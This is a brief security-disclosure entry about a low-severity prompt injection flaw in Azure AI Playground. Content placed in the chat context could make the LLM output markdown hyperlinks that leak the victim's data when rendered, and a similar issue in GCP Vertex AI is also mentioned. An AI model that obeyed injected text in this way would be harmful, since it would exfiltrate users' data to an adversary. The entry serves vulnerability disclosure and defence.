Summary
In Azure AI Playground, a Prompt Injection attack could cause an LLM to return markdown tags.
This would have allowed an adversary whose data makes it into the chat context
(e.g., via an uploaded file) to achieve exfiltration of the victim’s
data by rendering hyperlinks. However, the severity of this issue is low,
as there were no integrations that could pull remote content. This means
Indirect Prompt Injection was not possible, and it would require the victim to copy
the malicious prompt from elsewhere. A similar issue affected GCP Vertex AI.
Affected Services
AI Playground
Remediation
None required
Tracked CVEs
No tracked CVEs
References
Contributed by https://github.com/ramimac
Entry Status
Finalized
Disclosure Date
Fri, Sep 29th, 2023
Exploitablity Period
-
Known ITW Exploitation
-
Detection Methods
-
Piercing Index Rating
-
Discovered by
Johann Rehberger
